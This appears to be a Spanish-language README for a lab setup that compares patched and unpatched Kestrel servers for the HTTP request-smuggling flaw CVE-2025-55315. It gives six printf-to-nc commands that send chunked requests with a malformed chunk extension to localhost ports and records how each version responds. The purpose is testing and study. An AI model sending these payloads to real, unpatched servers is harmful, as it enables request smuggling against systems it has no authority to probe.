
# Entorno de pruebas para experimentar con diferentes comportamientos en Kestrel parcheado/sin parchear para la vulnerabilidad de contrabando HTTP CVE-2025-55315
Aquí hay algunas pruebas que se pueden realizar contra estos servicios para observar diferentes comportamientos en las rutas GET/POST entre las versiones parcheadas y no parcheadas de Kestrel.
GET contra la versión no parcheada (envía 200 y el socket permanece abierto)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
GET contra la versión parcheada (envía 200 y el socket se cierra)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST sin CT requerido contra la versión no parcheada (envía 200 y el socket permanece abierto)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST sin CT requerido contra la versión parcheada (envía 400 y el socket se cierra (el proceso también lanza una excepción controlada sobre Bad chunk extension))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST con CT requerido contra la versión no parcheada (envía 415 y el socket permanece abierto)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST con CT requerido contra la versión parcheada (envía 415 y el socket se cierra)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001